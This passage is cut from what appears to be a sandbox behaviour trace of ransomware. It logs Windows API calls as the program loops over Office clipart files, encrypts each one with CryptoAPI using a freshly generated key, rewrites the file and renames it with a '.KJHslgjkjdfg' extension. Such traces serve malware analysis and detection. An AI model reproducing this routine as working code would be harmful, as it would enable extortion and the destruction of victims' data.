nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.684] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.684] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.685] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.685] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.685] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.685] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8d6, lpOverlapped=0x0) returned 1 [0187.685] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0) returned 1 [0187.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.685] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8e0, lpOverlapped=0x0) returned 1 [0187.685] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.685] SetEndOfFile (hFile=0x130) returned 1 [0187.688] GetProcessHeap () returned 0x990000 [0187.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0187.688] GetProcessHeap () returned 0x990000 [0187.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.kjhslgjkjdfg")) returned 1 [0187.689] CloseHandle (hObject=0x130) returned 1 [0187.689] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CMNTY_01.MID", cAlternateFileName="")) returned 1 [0187.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.690] GetProcessHeap () returned 0x990000 [0187.690] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.690] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0187.692] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.692] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.692] GetProcessHeap () returned 0x990000 [0187.692] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.692] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.692] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.692] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.692] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.693] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.693] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.693] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.693] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.693] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.693] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b3a, lpOverlapped=0x0) returned 1 [0187.694] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b40, dwBufLen=0x1b40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b40) returned 1 [0187.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.694] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b40, lpOverlapped=0x0) returned 1 [0187.694] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.695] SetEndOfFile (hFile=0x130) returned 1 [0187.697] GetProcessHeap () returned 0x990000 [0187.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.697] GetProcessHeap () returned 0x990000 [0187.697] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.kjhslgjkjdfg")) returned 1 [0187.698] CloseHandle (hObject=0x130) returned 1 [0187.698] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d0f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0187.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.700] GetProcessHeap () returned 0x990000 [0187.700] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.700] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.700] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.729] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.729] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.729] GetProcessHeap () returned 0x990000 [0187.729] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0187.729] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0187.729] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.729] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0187.729] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.729] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.729] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.730] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.730] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.730] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.730] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1496, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1496, lpOverlapped=0x0) returned 1 [0187.731] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14a0) returned 1 [0187.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.731] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14a0, lpOverlapped=0x0) returned 1 [0187.731] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.731] SetEndOfFile (hFile=0x130) returned 1 [0187.734] GetProcessHeap () returned 0x990000 [0187.734] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0187.734] GetProcessHeap () returned 0x990000 [0187.734] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.kjhslgjkjdfg")) returned 1 [0187.735] CloseHandle (hObject=0x130) returned 1 [0187.735] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0187.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.737] GetProcessHeap () returned 0x990000 [0187.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.737] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.737] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0187.740] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.740] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.740] GetProcessHeap () returned 0x990000 [0187.740] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.740] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.740] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.740] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.740] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.741] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.741] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.741] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.741] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.741] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc18a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc18a, lpOverlapped=0x0) returned 1 [0187.743] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc190, dwBufLen=0xc190 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc190) returned 1 [0187.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.743] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc190, lpOverlapped=0x0) returned 1 [0187.743] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.744] SetEndOfFile (hFile=0x130) returned 1 [0187.747] GetProcessHeap () returned 0x990000 [0187.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.747] GetProcessHeap () returned 0x990000 [0187.747] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.kjhslgjkjdfg")) returned 1 [0187.748] CloseHandle (hObject=0x130) returned 1 [0187.748] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0187.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.750] GetProcessHeap () returned 0x990000 [0187.750] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.750] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.752] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.752] GetProcessHeap () returned 0x990000 [0187.752] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0187.752] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0187.752] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.752] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0187.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.752] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.752] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.752] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.752] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.752] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.753] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb96, lpOverlapped=0x0) returned 1 [0187.753] CryptEncrypt (in: hKey=0x9b6628, 